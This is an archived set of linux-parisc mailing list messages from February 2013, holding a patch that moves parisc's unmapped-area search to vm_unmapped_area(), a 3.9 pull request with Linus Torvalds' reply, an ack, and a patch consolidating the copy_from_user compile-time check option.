Original-Received: by mail-vb0-f74.google.com with SMTP id r6so10448vbi.3
        for <linux-parisc@vger.kernel.org>; Thu, 21 Feb 2013 15:20:05 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:subject:to:cc:from:date:mime-version:content-type
         :content-transfer-encoding:message-id:x-gm-message-state;
        bh=3mqKnX2Zr8RiNWDrc0brlgkUWhWApUoSRO3uHesYHQg=;
        b=GYDow8lIgFhpXVOH+X3Ka36iRjIFsmmIPw7dn/PagYjkJkEpFrMp5BEYbytZINVkZl
         CuFR7NeQVkxzbWk9JedW2aOWcnqd00dzwEo/fK9kKAosovob1CqQ+dkjqJm03cGPeKvU
         X0/GwtDukgCz9Jr9JUxfpfcvEqKroYzrByrkNb7SFp5vGndAtDk5dinaFuBbrLrYWNVY
         cEB3WjmkrHZBkGPvjNHgo0Ok/HlhdCkKSSpAT2kIU2nPDQg3PNFYy4f3hsVqg/IXB2JU
         l3wrpU4HtQuFIWv3eG/7FZJDlWMCtIsIkS/RNrzIeYLPHWbIy1WpGuzTNesbTsiQyaOv
         6Ywg==
X-Received: by 10.101.116.13 with SMTP id t13mr3170643anm.12.1361488353688;
        Thu, 21 Feb 2013 15:12:33 -0800 (PST)
Original-Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93])
        by gmr-mx.google.com with ESMTPS id e21si18801anp.1.2013.02.21.15.12.33
        (version=TLSv1.1 cipher=AES128-SHA bits=128/128);
        Thu, 21 Feb 2013 15:12:33 -0800 (PST)
Original-Received: from localhost.localdomain (akpm.mtv.corp.google.com [172.17.130.154])
	by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 1155D5A4174;
	Thu, 21 Feb 2013 15:12:33 -0800 (PST)
X-Gm-Message-State: ALoCoQnOuUNTQPTTn4yhr60XC4FpHSonSi4Gd8V802IiU64ApW9chLk8fDmeDmXO2MYdZ+Wf7GP5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4820>

From: Michel Lespinasse <walken@google.com>
Subject: mm: use vm_unmapped_area() on parisc architecture

Update the parisc arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/kernel/sys_parisc.c |   46 +++++++++++-------------------
 1 file changed, 17 insertions(+), 29 deletions(-)

diff -puN arch/parisc/kernel/sys_parisc.c~mm-use-vm_unmapped_area-on-parisc-architecture arch/parisc/kernel/sys_parisc.c
--- a/arch/parisc/kernel/sys_parisc.c~mm-use-vm_unmapped_area-on-parisc-architecture
+++ a/arch/parisc/kernel/sys_parisc.c
@@ -35,18 +35,15 @@
 
 static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
 {
-	struct vm_area_struct *vma;
+	struct vm_unmapped_area_info info;
 
-	addr = PAGE_ALIGN(addr);
-
-	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_ALIGN(addr);
+	info.high_limit = TASK_SIZE;
+	info.align_mask = 0;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))
@@ -63,30 +60,21 @@ static unsigned long get_unshared_area(u
  */
 static int get_offset(struct address_space *mapping)
 {
-	int offset = (unsigned long) mapping << (PAGE_SHIFT - 8);
-	return offset & 0x3FF000;
+	return (unsigned long) mapping >> 8;
 }
 
 static unsigned long get_shared_area(struct address_space *mapping,
 		unsigned long addr, unsigned long len, unsigned long pgoff)
 {
-	struct vm_area_struct *vma;
-	int offset = mapping ? get_offset(mapping) : 0;
-
-	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
+	struct vm_unmapped_area_info info;
 
-	addr = DCACHE_ALIGN(addr - offset) + offset;

From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for 3.9
Date: Fri, 22 Feb 2013 22:16:15 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20130222211615.GA5979@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361567786 22792 80.91.229.3 (22 Feb 2013 21:16:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Feb 2013 21:16:26 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 22 22:16:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U8zz1-0007t3-HU
	for glpp-linux-parisc@plane.gmane.org; Fri, 22 Feb 2013 22:16:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756826Ab3BVVQX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Feb 2013 16:16:23 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:59128 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756618Ab3BVVQW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Feb 2013 16:16:22 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MYIQh-1ULq1i3lmj-00V9Zm for
 <linux-parisc@vger.kernel.org>; Fri, 22 Feb 2013 22:16:19 +0100
Original-Received: (qmail invoked by alias); 22 Feb 2013 21:16:19 -0000
Original-Received: from p54AD0D70.dip0.t-ipconnect.de (EHLO p100.box) [84.173.13.112]
  by mail.gmx.net (mp004) with SMTP; 22 Feb 2013 22:16:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/myXglnlTmQSaM2yquDSNliHA7ahCR61mUqOIjEo
	UPq7+daDDzI7WH
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4821 gmane.linux.kernel:1446177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4821>

Hi Linus,

The following changes since commit 19f949f52599ba7c3f67a5897ac6be14bfcb1200:

  Linux 3.8 (2013-02-18 15:58:34 -0800)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.9

for you to fetch changes up to 1dda59b4f3d03fa28d86f3ea235655f0f96aab3e:

  arch/parisc/include/asm: use ARRAY_SIZE macro in mmzone.h (2013-02-20 22:57:49 +0100)

----------------------------------------------------------------
Al Viro (1):
      parisc: fix ptrace breakage

Geert Uytterhoeven (1):
      [PARISC] hpux: Remove obsolete regs parameter from do_execve() in hpux_execve()

Helge Deller (13):
      Merge tag 'parisc-fixes' of git://git.kernel.org/.../jejb/parisc-2.6 into stable-3.8
      parisc: enhance automatic CONFIG_CROSS_COMPILE detection
      parisc: add CONFIG_MLONGCALLS option to enable linkage of huge vmlinux executables
      parisc: led driver requires CONFIG_VM_EVENT_COUNTERS
      parisc: wire up process_vm_readv, process_vm_writev, kcmp and finit_module syscalls
      parisc: fix personality on 32bit kernel
      parisc: correctly wire up mq_* functions for CONFIG_COMPAT case
      parisc: convert msgrcv and msgsnd syscalls to use compat layer
      parisc: fix error return codes for rt_sigaction and rt_sigprocmask
      parisc: fix fallocate syscall
      parisc: switch to available compat_sched_rr_get_interval implementation
      parisc: sendfile and sendfile64 syscall cleanups
      parisc: remove empty lines and unnecessary #ifdef coding in include/asm/signal.h

Joe Perches (1):
      drivers/parisc: Use printf extension %pR for struct resource

John David Anglin (10):
      [PARISC] Purge existing TLB entries in set_pte_at and ptep_set_wrprotect
      parisc: Fix comment describing setup of access rights in entry.S
      parisc: fixes and cleanups in page cache flushing (1/4)
      parisc: fixes and cleanups in page cache flushing (2/4)
      parisc: fixes and cleanups in page cache flushing (3/4)
      parisc: fixes and cleanups in page cache flushing (4/4)
      parisc: disable preemption while flushing D- or I-caches through TMPALIAS region
      parisc: ensure that mmapped shared pages are aligned at SHMLBA addresses
      parisc: always detect multiple physical ranges
      parisc: space register variables need to be in native length (unsigned long)

Julia Lawall (1):
      drivers/parisc/pdc_stable.c: use WARN

Kautuk Consul (1):
      parisc/mm/fault.c: Port OOM changes to do_page_fault

Nikitas Angelinas (1):
      arch/parisc/include/asm: use ARRAY_SIZE macro in mmzone.h

Paul Bolle (1):
      parisc: remove unused compat_rt_sigframe.h header

Peter Zijlstra (1):
      parisc: remove IRQF_DISABLED

Wei Yongjun (1):
      parisc: fix possible memory leak in pat_query_module()

 arch/parisc/Kconfig                          |  21 ++
 arch/parisc/Makefile                         |  13 +-
 arch/parisc/hpux/fs.c                        |   3 +-
 arch/parisc/include/asm/cacheflush.h         |   2 +
 arch/parisc/include/asm/compat.h             |  61 +++++
 arch/parisc/include/asm/compat_rt_sigframe.h |  50 ----
 arch/parisc/include/asm/elf.h                |   2 +-
 arch/parisc/include/asm/floppy.h             |   4 +-
 arch/parisc/include/asm/mmzone.h             |   7 +-
 arch/parisc/include/asm/page.h               |  20 +-
 arch/parisc/include/asm/pgtable.h            |  13 +-
 arch/parisc/include/asm/signal.h             |   4 -
 arch/parisc/include/asm/unistd.h             |   2 +
 arch/parisc/include/uapi/asm/unistd.h        |   6 +-
 arch/parisc/kernel/cache.c                   | 221 +++++++++++++++---
 arch/parisc/kernel/entry.S                   |   4 +-
 arch/parisc/kernel/inventory.c               |   2 +
 arch/parisc/kernel/irq.c                     |   4 +-
 arch/parisc/kernel/pacache.S                 | 335 +++++++++++++++++++++++----
 arch/parisc/kernel/parisc_ksyms.c            |   5 +-
 arch/parisc/kernel/signal.c                  |   2 +-
 arch/parisc/kernel/signal32.c                |  15 +-
 arch/parisc/kernel/sys_parisc.c              |  16 +-
 arch/parisc/kernel/sys_parisc32.c            | 122 ++--------
 arch/parisc/kernel/syscall.S                 |   5 +-
 arch/parisc/kernel/syscall_table.S           |  27 +--
 arch/parisc/mm/fault.c                       |  30 ++-
 drivers/parisc/Kconfig                       |   1 +
 drivers/parisc/dino.c                        |  13 +-
 drivers/parisc/hppb.c                        |   6 +-
 drivers/parisc/pdc_stable.c                  |   6 +-
 drivers/parisc/superio.c                     |   2 +-
 32 files changed, 708 insertions(+), 316 deletions(-)
 delete mode 100644 arch/parisc/include/asm/compat_rt_sigframe.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for 3.9
Date: Fri, 22 Feb 2013 21:19:52 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <CA+55aFy5PZgcj9JpFpEbyoi1w2Nx8fbjk1L-56SHLuE2vPAMtw@mail.gmail.com>
References: <20130222211615.GA5979@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1361596802 8430 80.91.229.3 (23 Feb 2013 05:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Feb 2013 05:20:02 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 23 06:20:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U97Wx-0002gP-5u
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Feb 2013 06:20:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753561Ab3BWFTy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Feb 2013 00:19:54 -0500
Original-Received: from mail-vc0-f169.google.com ([209.85.220.169]:35273 "EHLO
	mail-vc0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753176Ab3BWFTx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Feb 2013 00:19:53 -0500
Original-Received: by mail-vc0-f169.google.com with SMTP id n10so869473vcn.28
        for <multiple recipients>; Fri, 22 Feb 2013 21:19:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=VBGhDJbRAcM7EcYLnmcIkSFjupvMXA4QKJ3mmNGqfKA=;
        b=FdOGWhdeoG7InzIfAwEXMePBkmVimsKvNspFR6LrZz9VsR1ZBigjsVgsnCJJXalCW1
         rrfrY3ZBlByOFRCqc9/b7O3GNzzFthx+xe9UDdhhdoeNpveJlWDNkUsew+R63C/Hu41a
         4W//g2VtW3qSBuhtO5byD3O8BzOcA1+IHaaCQm7/w/TMoyaxsZFcbbimAxb6Q0X7of6N
         /v63Pe15FyJFwoV4N69G5Md4REXfMwKuF3HQMM7vNyu0IJjnfm/gk6AacyXaxgmn1iq7
         qs9Pg/MBMVAbgM19IFNMg+pcfRbUsW0bdbWPQd5CZkdaiyoUReJF8COLRn/FvkP3EJM3
         Z9Fw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:x-received:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=VBGhDJbRAcM7EcYLnmcIkSFjupvMXA4QKJ3mmNGqfKA=;
        b=HFaTOhYfWWsrqk+zUJAzAivRP3/RdgQUHiHYBOVKM0rKJ0UOTfrkuaNofIXotHer2i
         Iu4mEDKc9WVA8YwhTrmroBpoP7GNYB/6LvLpfbbCGNcv5CHreyi01FOEj07mhWTwm8Lr
         CS+98nOendF7JxvjziMr6qVTeVk2x/8OmZgPg=
X-Received: by 10.52.72.137 with SMTP id d9mr5181696vdv.105.1361596792538;
 Fri, 22 Feb 2013 21:19:52 -0800 (PST)
Original-Received: by 10.220.145.131 with HTTP; Fri, 22 Feb 2013 21:19:52 -0800 (PST)
In-Reply-To: <20130222211615.GA5979@p100.box>
X-Google-Sender-Auth: ndjyn6L_HrQ9VZQ3lUNfGD-ubZA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4822 gmane.linux.kernel:1446254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4822>

On Fri, Feb 22, 2013 at 1:16 PM, Helge Deller <deller@gmx.de> wrote:
>
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.9

In general, I'd love to also get a short human-readable explanation of
what the pull does for the merge message. As it is, I just made
something up.

               Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 1/1] mm: use vm_unmapped_area() on parisc architecture
Date: Mon, 25 Feb 2013 22:15:34 +0100
Lines: 106
Approved: news@gmane.org
Message-ID: <512BD476.1050409@gmx.de>
References: <20130221231233.1155D5A4174@corp2gmr1-2.hot.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1361826942 25341 80.91.229.3 (25 Feb 2013 21:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Feb 2013 21:15:42 +0000 (UTC)
Cc: jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	walken@google.com, riel@redhat.com
To: akpm@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 25 22:16:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UA5Oz-0005jo-NW
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Feb 2013 22:16:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757076Ab3BYVPk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Feb 2013 16:15:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:51540 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753779Ab3BYVPk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Feb 2013 16:15:40 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LgbkJ-1UfaNr1Kcv-00nxgs for
 <linux-parisc@vger.kernel.org>; Mon, 25 Feb 2013 22:15:38 +0100
Original-Received: (qmail invoked by alias); 25 Feb 2013 21:15:38 -0000
Original-Received: from p54AD053E.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.5.62]
  by mail.gmx.net (mp024) with SMTP; 25 Feb 2013 22:15:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+cbicsIfqc+jcLxrQpym1Rywi3LNekDtJLGF4nqk
	j8mKBT0qJIWDoQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <20130221231233.1155D5A4174@corp2gmr1-2.hot.corp.google.com>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4824>

On 02/22/2013 12:12 AM, akpm@linux-foundation.org wrote:
> From: Michel Lespinasse <walken@google.com>
> Subject: mm: use vm_unmapped_area() on parisc architecture
> 
> Update the parisc arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
> 
> Signed-off-by: Michel Lespinasse <walken@google.com>
> Acked-by: Rik van Riel <riel@redhat.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Signed-off-by: Andrew Morton <akpm@linux-foundation.org>

James had two comments regarding this patch:
https://patchwork.kernel.org/patch/2027451/

Anyway, given the fact that this patch is a nice cleanup, that it does not do more
wrong than what was maybe wrong before, and that I tested a 32- and 64bit kernel 
with that patch, I would say:

Acked-by: Helge Deller <deller@gmx.de>


> ---
> 
>  arch/parisc/kernel/sys_parisc.c |   46 +++++++++++-------------------
>  1 file changed, 17 insertions(+), 29 deletions(-)
> 
> diff -puN arch/parisc/kernel/sys_parisc.c~mm-use-vm_unmapped_area-on-parisc-architecture arch/parisc/kernel/sys_parisc.c
> --- a/arch/parisc/kernel/sys_parisc.c~mm-use-vm_unmapped_area-on-parisc-architecture
> +++ a/arch/parisc/kernel/sys_parisc.c
> @@ -35,18 +35,15 @@
>  
>  static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
>  {
> -	struct vm_area_struct *vma;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = PAGE_ALIGN(addr);
> -
> -	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
> -		/* At this point:  (!vma || addr < vma->vm_end). */
> -		if (TASK_SIZE - len < addr)
> -			return -ENOMEM;
> -		if (!vma || addr + len <= vma->vm_start)
> -			return addr;
> -		addr = vma->vm_end;
> -	}
> +	info.flags = 0;
> +	info.length = len;
> +	info.low_limit = PAGE_ALIGN(addr);
> +	info.high_limit = TASK_SIZE;
> +	info.align_mask = 0;
> +	info.align_offset = 0;
> +	return vm_unmapped_area(&info);
>  }
>  
>  #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))
> @@ -63,30 +60,21 @@ static unsigned long get_unshared_area(u
>   */
>  static int get_offset(struct address_space *mapping)
>  {
> -	int offset = (unsigned long) mapping << (PAGE_SHIFT - 8);
> -	return offset & 0x3FF000;
> +	return (unsigned long) mapping >> 8;
>  }
>  
>  static unsigned long get_shared_area(struct address_space *mapping,
>  		unsigned long addr, unsigned long len, unsigned long pgoff)
>  {
> -	struct vm_area_struct *vma;
> -	int offset = mapping ? get_offset(mapping) : 0;
> -
> -	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = DCACHE_ALIGN(addr - offset) + offset;
> -
> -	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
> -		/* At this point:  (!vma || addr < vma->vm_end). */
> -		if (TASK_SIZE - len < addr)
> -			return -ENOMEM;
> -		if (!vma || addr + len <= vma->vm_start)
> -			return addr;
> -		addr = DCACHE_ALIGN(vma->vm_end - offset) + offset;
> -		if (addr < vma->vm_end) /* handle wraparound */
> -			return -ENOMEM;
> -	}
> +	info.flags = 0;
> +	info.length = len;
> +	info.low_limit = PAGE_ALIGN(addr);
> +	info.high_limit = TASK_SIZE;
> +	info.align_mask = PAGE_MASK & (SHMLBA - 1);
> +	info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
> +	return vm_unmapped_area(&info);
>  }
>  
>  unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
> _
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Tue, 26 Feb 2013 19:00:16 -0800
Lines: 357
Approved: news@gmane.org
Message-ID: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1361934046 8659 80.91.229.3 (27 Feb 2013 03:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 03:00:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Ingo Molnar <mingo@elte.hu>, "H. Peter Anvin" <hpa@zytor.com>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 04:01:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAXGU-0000l4-AE
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 04:01:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757684Ab3B0DAV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Feb 2013 22:00:21 -0500
Original-Received: from wolverine02.qualcomm.com ([199.106.114.251]:30385 "EHLO
	wolverine02.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753873Ab3B0DAU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Feb 2013 22:00:20 -0500
X-IronPort-AV: E=Sophos;i="4.84,744,1355126400"; 
   d="scan'208";a="26968080"
Original-Received: from pdmz-ns-snip_114_130.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.130])
  by wolverine02.qualcomm.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 26 Feb 2013 19:00:19 -0800
Original-Received: from sboyd-linux.qualcomm.com (pdmz-ns-snip_218_1.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 3891010004B1;
	Tue, 26 Feb 2013 19:00:19 -0800 (PST)
X-Mailer: git-send-email 1.8.2.rc0.22.gb3600c3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4825 gmane.linux.kernel:1447859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4825>

The help text for this config is duplicated across the x86,
parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
help text was slightly misleading and should be fixed to state
that enabling this option isn't a problem when using pre 4.4 gcc.

To simplify the rewording, consolidate the text into
lib/Kconfig.debug and modify it there to be more explicit about
when you should say N to this config.

Also, make the text a bit more generic by stating that this
option enables compile time checks so we can cover architectures
which emit warnings vs. ones which emit errors. The details of
how an architecture decided to implement the checks isn't as
important as the concept of compile time checking of
copy_from_user() calls.

While we're doing this, remove all the copy_from_user_overflow()
code that's duplicated many times and place it into lib/ so that
any architecture supporting this option can get the function for
free.

Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: Arjan van de Ven <arjan@linux.intel.com>
Cc: Helge Deller <deller@gmx.de>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
---

Per Helge Deller prodding me, I'm resending just this patch.

https://patchwork.kernel.org/patch/833182/

 arch/parisc/Kconfig             |  1 +
 arch/parisc/Kconfig.debug       | 14 --------------
 arch/s390/Kconfig               |  1 +
 arch/s390/Kconfig.debug         | 14 --------------
 arch/s390/lib/Makefile          |  1 -
 arch/s390/lib/usercopy.c        |  8 --------
 arch/sparc/lib/Makefile         |  1 -
 arch/sparc/lib/usercopy.c       |  9 ---------
 arch/tile/Kconfig               |  8 +-------
 arch/tile/include/asm/uaccess.h |  7 ++++++-
 arch/tile/lib/uaccess.c         |  8 --------
 arch/x86/Kconfig                |  1 +
 arch/x86/Kconfig.debug          | 14 --------------
 arch/x86/lib/usercopy_32.c      |  6 ------
 lib/Kconfig.debug               | 18 ++++++++++++++++++
 lib/Makefile                    |  1 +
 lib/usercopy.c                  |  9 +++++++++
 17 files changed, 38 insertions(+), 83 deletions(-)
 delete mode 100644 arch/s390/lib/usercopy.c
 delete mode 100644 arch/sparc/lib/usercopy.c
